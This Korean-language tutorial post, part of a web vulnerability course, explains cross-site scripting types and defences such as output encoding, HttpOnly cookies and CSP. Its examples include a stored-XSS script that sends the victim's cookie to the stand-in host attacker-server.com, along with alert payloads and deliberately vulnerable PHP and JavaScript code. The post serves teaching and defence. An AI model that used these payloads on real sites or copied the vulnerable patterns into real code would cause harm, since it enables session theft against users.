[주요정보통신기반시설 웹 애플리케이션 취약점 분석·평가 21일 완성 코스] 6강 — [Day 6] 크로스사이트 스크립트 (Cross-Site Scripting, XSS)

⚡ 정다은 · 2026-09-26 14:00 · 조회 32

[Day 6] 크로스사이트 스크립트 (Cross-Site Scripting, XSS)

안녕하세요! Hackerstory 공부방의 IT/보안 튜터 정다은입니다. 👋

어느덧 21일 완성 코스의 6일 차에 접어들었습니다! 지난 시간까지 서버 측에서 주로 발생하는 파일, 에러, 정보 노출 관련 취약점들을 살펴보았는데요. 오늘부터는 웹 애플리케이션 보안의 ‘꽃’이자 가장 자주 언급되는 클라이언트 측(Client-Side) 공격을 다뤄보려고 합니다.

오늘 배울 주제는 웹 애플리케이션 취약점 중에서도 가장 보편적이면서 위협적인 **크로스사이트 스크립트(Cross-Site Scripting, 이하 XSS)**입니다.

그럼 오늘도 활기차게 시작해 볼까요? 🚀


1. 크로스사이트 스크립트(XSS)란?

💡 개념 이해하기

**XSS(Cross-Site Scripting)**는 웹 애플리케이션이 사용자로부터 입력받은 값을 적절한 검증이나 출력 인코딩 없이 브라우저에 출력할 때 발생하는 취약점입니다.

공격자는 이 취약점을 이용하여 **악의적인 클라이언트 측 스크립트(주로 JavaScript)**를 타 사용자의 브라우저에서 실행시킵니다.

❓ 왜 CSS가 아니라 XSS인가요? 스타일시트 언어인 CSS(Cascading Style Sheets)와 약어가 같아 혼동을 피하기 위해 XSS로 부릅니다.

⚠️ XSS의 주요 영향도

SQL 인젝션이나 코드 인젝션이 **서버(Server)**를 직접 타깃으로 삼는다면, XSS는 **웹 서비스를 이용하는 다른 사용자(Client)**를 타깃으로 삼습니다.

  1. 세션 및 쿠키 탈취 (Session Hijacking): 사용자의 접속 세션 쿠키를 탈취하여 해당 사용자로 위장 로그인합니다.
  2. 악성 피싱 및 화면 변조 (Defacement/Phishing): 로그인 창 형태의 가짜 HTML 요소를 삽입하여 비밀번호나 개인정보를 입력하도록 유도합니다.
  3. 악성코드 유포 (Drive-by Download): 브라우저의 취약점과 연계하여 사용자 PC에 악성 파일을 자동으로 다운로드 및 실행시킵니다.
  4. 권한 남용: 관리자 권한을 가진 사용자가 XSS에 노출될 경우, 관리자 기능(회원 강퇴, 게시물 삭제 등)을 강제로 실행할 수 있습니다.

2. XSS의 3가지 주요 유형

XSS는 스크립트가 전달되고 실행되는 방식에 따라 크게 Stored XSS, Reflected XSS, DOM-based XSS 3가지로 나뉩니다.

       ┌────────────────────────────────────────────────────────┐
       │                        XSS 유형                        │
       └───────────────────────────┬────────────────────────────┘
                                   │
         ┌─────────────────────────┼─────────────────────────┐
         ▼                         ▼                         ▼
  [1. Stored XSS]           [2. Reflected XSS]        [3. DOM-based XSS]
 (DB/서버 저장 후 실행)       (URL 파라미터 반사)       (클라이언트 DOM 조작)

① Stored XSS (저장형 XSS)

  • 원리: 공격자가 작성한 악성 스크립트가 웹 서버의 Database, 게시글, 댓글, 프로필 등에 물리적으로 저장됩니다.
  • 특징: 해당 게시글이나 프로필을 조회하는 모든 일반 사용자에게 스크립트가 실행되므로 피해 범위가 매우 넓고 파급력이 큽니다.

② Reflected XSS (반사형 XSS)

  • 원리: 웹 애플리케이션이 요청(Request) 파라미터로 전달된 값을 검증 없이 즉시 응답(Response) 화면에 포함할 때 발생합니다.
  • 특징: 스크립트가 서버에 저장되지 않습니다. 공격자는 악성 스크립트가 포함된 **URL(링크)**을 만들어 피싱 이메일이나 SNS 메시지로 피해자에게 클릭하도록 유도해야 합니다.

③ DOM-based XSS (DOM 기반 XSS)

  • 원리: 서버와의 통신(응답 HTML) 없이, 클라이언트 측 JavaScript가 DOM(Document Object Model) 환경을 조작하는 과정에서 발생합니다.
  • 특징: 서버 응답 본문에는 악성 스크립트가 보이지 않을 수 있어 서버 측 WAF(방화벽)나 로그 검색만으로는 탐지하기 어렵습니다.

3. 취약점 동작 예시 및 페이로드

실무에서 자주 목격되는 코드와 악성 페이로드 구조를 살펴봅시다.

예시 1: Stored XSS (게시판 댓글 기능)

공격자가 댓글 입력창에 아래와 같은 스크립트를 입력하여 저장합니다.

<!-- 공격자의 댓글 입력값 -->
안녕하세요! 잘 보고 갑니다.
<script>
  // 피해자의 쿠키를 공격자 서버로 전송
  new Image().src = "http://attacker-server.com/steal?cookie=" + document.cookie;
</script>

[흐름]

  1. 공격자가 댓글 등록 (/board/write)
  2. DB에 <script>... 구문이 그대로 저장됨.
  3. 일반 사용자가 댓글 목록을 조회할 때, 브라우저가 해당 <script> 태그를 정상적인 코드로 인식하여 실행함.
  4. 일반 사용자의 세션 쿠키가 공격자 서버(attacker-server.com)로 유출됨.

예시 2: Reflected XSS (검색 기능)

웹 사이트의 검색창 취약점입니다.

  • 요청 URL: https://example.com/search?keyword=<script>alert('XSS');</script>
  • 취약한 서버 측 백엔드 코드 (PHP 예시):
<?php
  $keyword = $_GET['keyword'];
  // 입력값 검증 없이 화면에 그대로 출력!
  echo "<div>검색 결과: " . $keyword . "</div>";
?>

[흐름]

  1. 공격자가 위와 같이 악성 스크립트가 담긴 URL을 유포함.
  2. 피해자가 해당 URL을 클릭.
  3. 서버는 keyword 값을 받은 그대로 응답 HTML에 담아 보냄.
  4. 피해자의 브라우저에서 alert('XSS') 경고창이 실행됨.

예시 3: DOM-based XSS (JavaScript 소스/싱크 취약점)

서버를 거치지 않고 브라우저 내 JS 로직만으로 발생하는 예시입니다.

  • 취약한 프론트엔드 JavaScript 코드:
<script>
  // URL의 # 뒷부분(hash)을 가져옴 (Source)
  var name = decodeURIComponent(location.hash.substring(1));
  
  // 검증 없이 DOM 요소를 직접 조작하여 화면에 출력 (Sink)
  document.getElementById("welcome").innerHTML = "환영합니다, " + name + "님!";
</script>
  • 공격 URL: https://example.com/welcome.html#<img src=x onerror=alert(1)>
  • 설명: location.hash로 들어온 값이 검증 없이 innerHTML을 통해 DOM에 직접 주입되면서 onerror 이벤트 핸들러가 실행됩니다.

4. XSS 대응 방안 (보안 대책)

XSS를 완벽히 막기 위해서는 **"입력값은 검증하고, 출력값은 인코딩한다"**는 원칙과 함께 다중 방어(Defense in Depth) 기법을 적용해야 합니다.

       ┌────────────────────────────────────────────────────────┐
       │                     XSS 보안 대책                      │
       └───────────────────────────┬────────────────────────────┘
                                   │
         ┌─────────────────────────┼─────────────────────────┐
         ▼                         ▼                         ▼
 [HTML Entity Encoding]     [HttpOnly Cookie]             [CSP 적용]
  (출력값 기호 변환)       (JS 쿠키 접근 차단)       (스크립트 출처 제한)

1) HTML Entity Encoding (출력값 인코딩) - 가장 핵심!

사용자가 입력한 데이터를 HTML 본문이나 속성값으로 출력할 때, HTML 제어 문자를 안전한 HTML 엔티티(Entity) 코드로 변환합니다. 이렇게 하면 브라우저는 해당 문자를 "실행할 코드"가 아닌 "순수 텍스트"로 인식합니다.

특수 문자 변환될 HTML Entity
< &lt;
> &gt;
" &quot;
' &#x27;
& &amp;
( &#x28;
) &#x29;
  • 개발 언어별 치환 라이브러리 활용:
    • Java/Spring: NAVWER Lucy XSS Filter, OWASP Java HTML Sanitizer
    • Node.js: xss npm 패키지, DOMPurify (프론트엔드/DOM XSS 방어 시 필수)
    • PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

2) HttpOnly 쿠키 속성 적용

XSS가 발생하더라도 공격자가 사용자의 **세션 쿠키(Session Cookie)**를 탈취하지 못하도록 방어하는 보조 기법입니다.

  • 설정 방법 (HTTP 응답 헤더):
    Set-Cookie: JSESSIONID=ABC123XYZ; Secure; HttpOnly;
    
  • 효과: HttpOnly 플래그가 설정된 쿠키는 JavaScript의 document.cookie 객체를 통해 접근할 수 없습니다. 따라서 세션 탈취 피해를 획기적으로 줄일 수 있습니다.

3) 콘텐츠 보안 정책 (Content Security Policy, CSP) 적용

웹 서버가 응답 헤더를 통해 브라우저에게 "어디서 온 스크립트만 실행해도 되는지" 규칙을 정의하는 강력한 보안 표준입니다.

  • CSP 헤더 예시:
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com;
    
  • 효과:
    • 웹 페이지 내에 직접 작성된 인라인 스크립트(<script>alert(1)</script>) 실행을 기본적으로 차단합니다.
    • 지정된 신뢰할 수 있는 도메인 외의 외부 서버에서 스크립트를 로드하는 것을 막아줍니다.

📝 오늘 내용 요약 (Checklist)

오늘 공부한 내용을 요약해보겠습니다. 실무 진단이나 보안 개발 시 아래 체크리스트를 꼭 떠올려 주세요!

  1. XSS의 핵심 원리: 사용자 입력값이 검증/인코딩 없이 브라우저에 출력되어 클라이언트 스크립트가 실행되는 취약점.
  2. 유형 3가지:
    • Stored: DB/서버에 저장되는 가장 위험한 형태
    • Reflected: URL 파라미터를 타고 응답으로 반사되는 형태
    • DOM-based: 브라우저 내부 JS 로직/DOM 조작 과정에서 발생하는 형태
  3. 대응 방안:
    • ✅ HTML Entity Encoding: < -> &lt;, > -> &gt; 등 출력값 변환 (1차 방어)
    • ✅ HttpOnly 플래그: 세션 쿠키 탈취 차단 (2차 방어)
    • ✅ CSP(콘텐츠 보안 정책) 수립: 인라인 스크립트 실행 차단 및 신뢰 도메인 제한 (3차 방어)

🔮 다음 챕터 예고

오늘 배운 XSS가 **"공격자의 스크립트를 사용자 브라우저에서 실행시켜 세션이나 정보를 뺏는 공격"**이었다면, 내일 배울 주제는 **"사용자의 권한을 도용하여 사용자가 원치 않는 요청을 서버로 보내게 만드는 공격"**입니다.

바로 **[Day 7] 크로스사이트 요청 위조 (CSRF, Cross-Site Request Forgery)**에 대해 공부해보겠습니다. XSS와 CSRF의 명확한 차이점부터 시작해서 CSRF 토큰(Token)을 활용한 완벽 대책까지 자세히 설명해 드릴게요!

오늘도 고생 많으셨습니다. 궁심한 점이 있다면 언제든 댓글로 질문 남겨주세요. 다음 시간에 만나요! 😊

댓글 0

로그인하면 댓글을 작성할 수 있습니다.